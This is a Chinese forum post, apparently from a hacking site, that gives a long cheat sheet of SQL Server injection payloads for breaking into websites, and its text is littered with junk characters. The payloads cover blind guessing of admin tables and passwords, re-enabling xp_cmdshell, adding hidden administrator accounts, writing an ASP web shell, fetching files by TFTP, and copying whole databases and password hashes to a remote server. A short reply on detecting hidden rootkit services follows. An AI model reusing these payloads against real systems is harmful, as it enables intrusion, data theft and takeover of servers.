返回列表 发帖

入侵网站必备

入侵网站必备
- t! K- y, ^& W/ A# r判断有无注入点 : |7 \/ F0 O2 P% D8 e, ~
; and 1=1 and 1=2

* ^  ~/ n% R  S$ i) J9 Y2.猜表一般的表的名称无非是admin adminuser user pass password 等.. " M. \1 G3 m; t8 g* v
and 0<>(select count(*) from *) 0 h5 @1 [: C' H' Q) F5 q
and 0<>(select count(*) from admin) ---判断是否存在admin这张表

- e' ~+ D: X, [; s; o3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
2 M# ^. D% B- u4 ^and 0<(select count(*) from admin)
4 [+ D7 S. X* q2 L" _+ ]# Zand 1<(select count(*) from admin)
. V, ^9 k6 q  q6 E/ _. ?9 t
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. % g- P: g3 O1 T! D* O
and 1=(select count(*) from admin where len(*) >0)-- 3 e9 ?8 G6 ?1 m, k  ~9 O
and 1=(select count(*) from admin where len(用户字段名称name)>0) 7 j8 a  p; |2 M  ]. c7 Q# L+ \
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

3 o( |9 }  x: A! N5 V5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 # Z. y  _9 M, G0 f9 W- j+ F
and 1=(select count(*) from admin where len(*)>0) / X+ `) Z  j+ d8 N0 `  g  y
and 1=(select count(*) from admin where len(name)>6) 错误
5 l$ V: r  w- K( Land 1=(select count(*) from admin where len(name)>5) 正确 长度是6 1 f" z% D5 ]0 f" e3 h3 f9 n
and 1=(select count(*) from admin where len(name)=6) 正确

9 X) T' @9 X6 q( T- c9 h* z) Dand 1=(select count(*) from admin where len(password)>11) 正确
% ^- v2 l3 A/ z8 u0 O6 [" p: k7 pand 1=(select count(*) from admin where len(password)>12) 错误 长度是12 * D. s% Q: k9 i& G& E
and 1=(select count(*) from admin where len(password)=12) 正确

+ _2 V( O, G" n; E* L0 M6.猜解字符 5 |- ^+ A! n1 S. y( |5 }
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 6 V0 i% s/ q0 B: h* S6 M& L
and 1= (select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 1 D* I& O( e6 X! M+ l: c
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
( Q5 c- m- W1 D4 O# band 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) -- ) s3 j& H6 ~) [( z6 t
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

' }3 Y* V2 s% s" E; ]: C7 k8 qgroup by users.id having 1=1-- & D' u% s/ d. R8 t: M, J7 A0 \
group by users.id, users.username, users.password, users.privs having 1= 1--
. _% r3 A1 k$ B0 |. U) P; insert into users values( 666, attacker, foobar, 0xffff )--
0 {0 D6 c$ M5 _3 A' C/ _
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank> _NAME=logintable-
7 @2 r9 w4 B; L/ QUNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)- . d2 e* i: e& ^1 F
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
& u3 f0 b* C% T/ g$ L+ |UNION SELECT TOP 1 login_blank> _name FROM logintable-
+ b& p( X$ q8 C; h5 D; R# mUNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
2 F5 Z+ \0 |: M; c$ Z7 m
看_blank>服务器打的补丁=出错了打了SP4补丁 8 y2 X! D0 d; M% i2 D! u
and 1=(select @@VERSION)--

; Q  ?; L+ O+ m# q3 [  r' _看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。 & H# ]4 S: E. M3 X
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

! V% W% T4 T9 U- G* v4 I判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) ! Y& Y7 ^2 B" j
and sa=(SELECT System_blank>_user)--
; N* l" s3 J+ w6 l6 C' s/ O' sand user_blank>_name()=dbo--
0 t- e( a; d4 G  A( ~8 q" w' M) rand 0<>(select user_blank>_name()--

3 m0 t) \8 K. K* V7 l看xp_blank>_cmdshell是否删除
$ S% ~- V2 J0 c0 Nand 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--

6 F% c1 ~. c6 k, d% o) b( Yxp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复 * G* i. {% E3 G5 j1 T: P
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
& I- c& Q4 E3 g5 E* C;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll--
# O2 ?: z: P/ V* _/ g
反向PING自己实验 4 T% }( V3 G$ C; ^
;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

- C- M8 f1 `7 {9 Z8 d/ ]8 V5 @加帐号
9 I  x" T& x+ q$ v4 h6 |0 i;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--

5 |+ f4 U# T  A7 z$ k创建一个虚拟目录E盘: ' a. U+ W1 b* }# C
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e: \"--
+ c& w5 \. ?" _9 _! ?# `% y1 A7 L
访问属性:(配合写入一个webshell)
. {& _" g0 S) C+ }declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

/ M; u* J7 l; I爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
0 V- i; c$ Z* ~; Band 0< >(select top 1 paths from newtable)--
+ S- N1 j" n6 E1 a! S
得到库名(从1到5都是系统的id,6以上才可以判断)
+ n) _4 W6 s- B) Fand 1=(select name from master.dbo.sysdatabases where dbid=7)--
; N- V" S. B+ B; t+ ~7 l8 b% Y" t$ Aand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
. M7 m! D: f5 A2 I8 A4 ~: K/ Y依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名
1 V- n+ U  @, j2 T' t5 h7 P
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin ! |/ W: r& j: j* P+ d
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。 0 }7 F6 E  [8 E( i9 S6 x7 g8 e
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
0 K+ D) }! w) g# wand uid>(str (id))) 暴到UID的数值假设为18779569 uid=id
. V$ j; [# t' Q# C& v& ^and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id ; ?: o9 b$ K6 {" ]2 }# Y7 C
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in , B& G, a6 L0 s
(id,...)) 来暴出其他的字段
1 X& G8 v$ H2 k4 j- @; ]and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名 9 W9 ^: D3 ~( I- [0 |+ r+ ?
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段

/ z9 X0 H: c# g3 H* band 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
4 ~# J( P3 g0 U% v7 {and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
: D" Q. N4 Y8 g! O( }( hand 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
) B2 f5 m9 n! E9 F( t6 W. Wand 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值 % v: n! j4 `5 D- I
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

. G7 {" w) f! h: n( r?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 2 i' H( N& G5 J! H
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)

0 n! j6 P$ \+ t2 o! q9 G得到WEB路径
4 ~" ?# c+ R6 G6 [% };create table [dbo].[swap] ([swappass][char](255));-- . b+ N) ^1 R: _# S, s& C  m
and (select top 1 swappass from swap)=1--
+ z8 E6 k5 u6 ^( I% g/ Z- h* V;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/,
[email=values=@test]values=@test[/email] OUTPUT insert into paths (path) values(@test)--
7 n. l, \! R' q  a;use ku1;-- ( \& z7 l3 @6 Z9 u9 O5 g2 J" c9 p' E8 o
;create table cmd (str image);-- 建立image类型的表cmd

2 r6 I$ O  I0 L& r4 b7 Z存在xp_blank>_cmdshell的测试过程:
# u. x' N" `2 w$ G1 a9 ~;exec master..xp_blank>_cmdshell dir
- I) N# M3 q4 S$ X;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号
6 e) L5 G+ H' e;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;-- ) {6 j8 I: S- S4 V
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--
0 X& v9 c# c" F1 m;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
8 k; g; b' v3 [5 D;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
+ Y1 ~, C; Z! v, x* b4 Z% bexec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务 ' l" X$ s; ]0 K  p# E: H4 T" @
exec master..xp_blank>_servicecontrol start, server
* ~( H7 {7 N$ d4 D# t" k* {4 \; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
2 \: I- E" h; Q* ~;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add 9 E2 K* H5 V. O% |8 f6 s+ N! `* m7 `
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件

7 U/ f' G7 l( m& h9 Y;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
' w8 a2 T0 D+ b5 O;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ / b/ v( q+ Z, @* K0 u$ x
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat
8 c* Y/ b) n/ ?2 Q; L如果被限制则可以。
: z% O; y7 K! c. T1 z# i% pselect * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
( g3 T+ G' I# z5 {5 t8 ~& z9 ^7 v
查询构造: $ O4 X4 P, A0 B4 g6 g, y
SELECT * FROM news WHERE id=... AND topic=... AND ..... 4 `$ [- [) F9 |! P, c0 g4 E
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
3 N5 L' O0 k! Z  j( ^' Q- kselect 123;--
" ^& H& {4 f, T5 O+ B' ^( |;use master;-- # O! r  E6 M2 Z8 J! v1 ~
:a or name like fff%;-- 显示有一个叫ffff的用户哈。 8 e, o. `1 o  D8 d7 u
and 1<>(select count (email) from [user]);-- $ n- S* B7 w9 b2 G
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
* G+ M4 m' m) P: a;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- + C1 X0 w9 [* U
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
* \* O* Q# c5 J) k( H% T+ D;update [users] set email=(select top 1 count(id) from password) where name=ffff;--   p0 q/ s& q5 i% q) `# w* c6 `
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
1 D+ s6 E: [( k9 g1 u$ N# G- l+ ];update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- - O1 h/ G/ T; R4 V+ {
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
3 ]4 y- S) h- r% @  q通过查看ffff的用户资料可得第一个用表叫ad 4 j8 T! k3 X! x7 Q0 W
然后根据表名ad得到这个表的ID 得到第二个表的名字
+ K& R* p& f5 x9 f/ B' X
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- ( }$ Q. l$ }( i) Q; j
insert into users values( 667,123,123,0xffff)-- . Q! t1 o6 h8 b: {* o/ p
insert into users values ( 123, admin--, password, 0xffff)-- ( Q4 h, L2 r( B2 [) f: T5 y) {! U
;and user>0
; k  g# m- O# t, u  Y;and (select count(*) from sysobjects)>0
# U+ r6 j$ {9 E: U1 h! \, |;and (select count(*) from mysysobjects)>0 //为access_blank>数据库
% w9 p7 o1 c' u$ ]4 ~
枚举出数据表名 9 r+ I; p7 t$ s7 x* H( f7 A: }$ v
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
( c. d) |# f, j; @8 l3 C, n1 |这是将第一个表名更新到aaa的字段处。
$ d- @$ Y) ]. K8 h4 r# p读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。
( N( L$ Z, x7 u2 K;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- ; A: o3 D2 E% J8 ?: C
然后id=1552 and exists(select * from aaa where aaa>5)
# Z/ C& I  A: K5 p6 Q' p! G读出第二个表,一个个的读出,直到没有为止。
! _& i" r# @; P. v读字段是这样:
* f8 T& y( g. J7 j;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(表名),1));--
' W; v/ p0 Z9 h# [5 V* e# F- e9 Y然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
. ^+ h4 |/ u2 _5 b+ A4 q$ C;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));-- 9 z- J+ r. }4 n* F
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
) I% m6 d2 l: r/ m% r" w8 L
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] ) c$ O. B2 y" u! L9 \5 z
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
9 I. s, _/ I9 R9 e2 E$ u4 L通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

+ F' u/ ^' K1 w& k) D[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] 9 U$ r5 {+ |# R7 s; I
update 表名 set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]

& S6 q) e4 z2 v+ ^绕过IDS的检测[使用变量]
3 E- t$ M+ w& }, y;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ # W, u* ]- J, M
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
/ b, c8 Q$ ]: |+ H* H
1、 开启远程_blank>数据库
+ q5 V: U% z" [. P4 y基本语法
: f) I  N! D1 P4 g8 f& Lselect * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) ) |4 ~) E& o* i6 l1 d4 e6 ^
参数: (1) OLEDB Provider name
9 E5 d7 }% V6 `& @. |5 |6 F2、 其中连接字符串参数可以是任何端口用来连接,比如 # Q& G/ J8 f) C4 _. p( O% Z1 v1 p
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
! D. e3 ~* S* L3.复制目标主机的整个_blank>数据库 insert所有远程表到本地表。

3 _4 e6 |) V  B
) b$ T  C2 k# H6 ~5 E基本语法:
7 Z" m2 l! @! J6 g2 M: V9 Tinsert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
% Q: F2 D" F/ Y/ g! \: w+ c, a这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
/ Z" d9 _- o+ E! p( [! [insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2
" J& w6 w! G# \# p; w( {insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
- E; e+ x( V$ Q5 mselect * from master.dbo.sysdatabases
) C% d7 T3 Q; ?) E2 Yinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects)
# q& E$ s) f  J: ^) wselect * from user_blank> _database.dbo.sysobjects
) j$ }; }( O/ C- |insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns) 2 G5 t/ }" I( `8 f) G  v
select * from user_blank> _database.dbo.syscolumns
2 t# @. `$ z1 D/ M/ D复制_blank>数据库:
$ e/ Q& w- Y7 Q- S8 f: |1 h7 U' yinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 5 H# `, I! s* V  F; a) S
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

. j5 c# Z4 O8 }/ }+ R复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
) }. d) E! F3 |/ B( jinsert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
; J/ U! N* M: D9 n7 `: ?: I& _得到hash之后,就可以进行暴力破解。

6 Q6 |2 o+ x0 G# V遍历目录的方法: 先创建一个临时表:temp
% D$ B7 P7 R7 p' m9 ~# T;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- % A& q4 \2 U1 F: j1 O  [) [, H
;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器 ; b# F  j; E+ S, }
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表 8 ]+ L2 p' P! m) C
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 8 z/ d* i3 I  c+ T% Y2 L) g# ?
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
2 H  ]/ u  X1 g5 y% ^' {& v+ Q;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;-- 3 {0 e; ?5 t  n% ~$ F0 [
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;-- 5 P4 A, I! L4 m
;insert into temp(id) exec master.dbo.xp_blank> _cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
" j5 J$ E! c" l# o;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC)
5 v9 E6 F9 |+ n9 q( H: r写入表: * t: `; \- Z, _- v
语句1:and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
* r: o0 H0 w% E% L/ _$ t, h语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));--
9 C6 |: W& T( M语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
  Z0 U0 @  X4 L9 [! U5 b语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
: M) J8 I2 I" z语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER (securityadmin));-- / ]- N5 A* Z- r: v4 G$ B# O& N
语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
/ m) V- W' e9 u4 l语句7:and 1= (SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 5 I7 I, H/ r' J# g
语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER (bulkadmin));-- ! ~7 a- s7 D- @5 O  H0 w# r
语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--

) j" l% p# K8 g/ x# Q' U把路径写到表中去:
. R% }1 V& B) t% n, T;create table dirs(paths varchar(100), id int)--
$ [' l# r) P' v# E5 ^2 H;insert dirs exec master.dbo.xp_blank>_dirtree c:\-- ; ?7 m; Q; c! A: X4 V: k$ C
and 0<>(select top 1 paths from dirs)--
% Y# B: I8 _& `9 r* ~and 0<> (select top 1 paths from dirs where paths not in(@Inetpub))-- 6 e3 u# u$ [' c& x
;create table dirs1(paths varchar(100), id int)-- ' c" |6 U" m7 g4 G& M
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
9 x9 C$ H7 R  p' Z% P5 Q0 |  H5 o- tand 0<>(select top 1 paths from dirs1)--
# l6 ^- @4 E' e1 w/ I) l
把_blank>数据库备份到网页目录:下载 0 |/ {* D5 C+ @! w! G
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--

% J2 E" _2 [" L$ Z- Tand 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
1 o- K$ Z% V# P  L) @. Aand 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
# h9 [& a, ?2 }0 L) nand 1=(select user_blank>_id from USER_blank>_LOGIN)
% b" J) B: l% dand 0=(select user from USER_blank>_LOGIN where user>1)

* k4 d! J) e  ?1 C, V-=- wscript.shell example -=-   u! {! Q. o2 z( z
declare @o int
# l" k% H* B' `8 R3 d% gexec sp_blank>_oacreate wscript.shell, @o out - O( e( Q$ |: v
exec sp_blank>_oamethod @o, run, NULL, notepad.exe ) c3 _  |& p; ]  k+ P' x1 z
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
& M+ r& p: \0 u  j
declare @o int, @f int, @t int, @ret int 4 b1 V: H; I+ ~( u' ?
declare @line varchar(8000)
  G2 w3 ~7 d8 a1 e+ Wexec sp_blank>_oacreate scripting.filesystemobject, @o out / c$ Q, @/ u+ r6 P
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 4 q( S& H- ~' a
exec @ret = sp_blank>_oamethod @f, readline, @line out . f' x6 p7 O( {" n
while( @ret = 0 )
) V) D8 I( O% W, X* r% rbegin
# V4 l, z5 C1 X+ Xprint @line
2 g+ I* q' E% p$ @exec @ret = sp_blank>_oamethod @f, readline, @line out
! z9 c1 ~/ F1 w+ }. Send

& x& N1 P# n2 t: ]1 ~declare @o int, @f int, @t int, @ret int # U- v5 U# L# \1 E
exec sp_blank>_oacreate scripting.filesystemobject, @o out * w; z  @* O( W# s
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 ) v- U5 f& f8 i) [. j
exec @ret = sp_blank>_oamethod @f, writeline, NULL, " @! h& D5 Y1 r$ ~
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
2 s6 j4 ^0 n: v
declare @o int, @ret int
3 w( q! }' z: H- y+ Uexec sp_blank>_oacreate speech.voicetext, @o out ! d+ H, q! D, ^* X2 r
exec sp_blank> _oamethod @o, register, NULL, foo, bar   _: [9 R3 _$ c/ s* v1 c
exec sp_blank>_oasetproperty @o, speed, 150 + z; O* x8 @& g! g$ j" Q% ?  W% {
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 $ Q# Y! X" V: B8 B0 q+ o- r
waitfor delay 00:00:05
  K9 B1 H& U9 H* A
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
: X" Q* F& n3 m& u' |3 v; Mxp_blank>_dirtree适用权限PUBLIC
* L+ l& j) l/ F& Z; q" a( t4 D3 O( nexec master.dbo.xp_blank>_dirtree c:\
7 S2 c  a* x+ B* @" m6 q返回的信息有两个字段 subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 ! d$ @2 m& ?& D+ X+ ?
create table dirs(paths varchar(100), id int)
% T/ M! O6 n/ J7 ]* U, x+ J) C建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。
. ]1 G4 N6 |* g' j0 ^1 R( Cinsert dirs exec master.dbo.xp_blank>_dirtree c:\ ( T) R. ^$ t( n& I" `
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果

% h5 }% p$ l. j9 y& C

 

您可能还想看的主题:

华为HG8245后门,远程访问

心海软件学校心理管理系统0DAY集合

网奇CWMS企业网站管理系统1.0-2.0 编辑器漏洞

NWEB System后台取shell漏洞

Phpcms本地包含漏洞/写shell漏洞/任意文件删除漏洞

BEES企业网站管理系统 v1.6 后台取Shell方法

ewebeditor无后台另类拿站

**-Log 1.2 延迟注射漏洞

脚本,数据库入侵

动网8.1最新注入0Day漏洞解析

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:haimimi008发表,本帖发表者haimimi008符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者haimimi008和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

学习中......* ?: W/ H4 }, A1 q0 D( p2 h; W

: |" C+ G! x! v5 Y    手工必备

TOP

检测并禁用隐藏服务
隐藏服务的概念是由hxdef 和rootkit这些后门工具提出的。这些后门工具通过挂钩系统本地调用来隐藏自己,原本通过调用Windows API调用查看系统服务的企图都是徒劳的。所以这时的系统是不可靠的,不值得信任的。目前针对查找隐藏服务的工具已经有很多,比如IceSword,knlsc,FHS等等。虽然这些软件都是免费的,但是它们到目前为止都不是开源,所以将自己的实现版本展示出来,正如knlsc的作者所说的那样,这是一个简单的小程序。    Knlsc是通过将%SystemRoot%/System32/Config/System这个Hive文件转储出来,提取出ControlSet001/Services的子项再与RegEnumKeyEx的输出结果进行比对,发现若是在RegEnumKeyEx的输出结果中没有的子项就可以认为是一个隐藏的服务。当然knlsc还认为隐藏服务必须同时拥有ImagePath,Start,Type三个键值。据说knlsc运行时还将从资源段中放出一个驱动程序,但是估计这个驱动是假的。将knlsc托壳后用VC从资源段中导出的文件是一个没有EntryPoint但有MZ标志的驱动,没有办法进行反汇编。或许作者使用了SMC技术,放出资源文件后在进行修改,在执行文件中也有NtLoadDriver的调用片段,但是同一作者的knlps中的资源驱动却未作任何的处理。要实现检测隐藏服务的功能其实没有必要使用驱动程序,即使可以验证knlsc驱动的真实性。直接对Hive文件的转储也不是必须的,虽然这只要通过修改Gary Nebbett的示例代码就可做到。    Hive文件的转储可以通过RegSaveKey函数来进行,rootkitrevealer就是使用这个API的扩充函数RegSaveKeyEx工作的,至少到目前为止还没有挂钩这类函数的后门,但是世上没有永远的安全,在理论上是可行的,可能不得不对该函数的输出文件进行处理,这将在一定程度上影响该函数的执行时间。使用该函数时还必须赋予调用进程以SE_BACKUP_NAME权限。    在实现中将“HKEY_LOCAL_MACHINESYSTEMControlSet001Services"的子项都转储为Hive格式文件(使用DumpServiceInfo函数),存放在C:        mp.hive,在C盘下不可有同名文件,否则会发生Dump错误。现在的问题是如何对Hive格式文件进行处理,在这一点上必须感谢Petter Nordahl-Hagen所写的NT Registry Hive access library,它是The Offline NT Password Editor的一部分。本人的实现很大程度上就是参照他的程序,然而这个库工作在Linux环境,但是它向VC编译器移植的工作量是极少的,只需稍加修改。1.将 #include <unistd.h> 去掉2.将程序中三处的#define D_OFFS(o) ( (void *)&amp;(key->o)-(void *)hdesc->buffer-vofs )     改为  #define D_OFFS(o) ( (int *)&amp;(key->o)-(int *)hdesc->buffer-vofs )因为在VC中无法打印void * 类型,只得改为int * 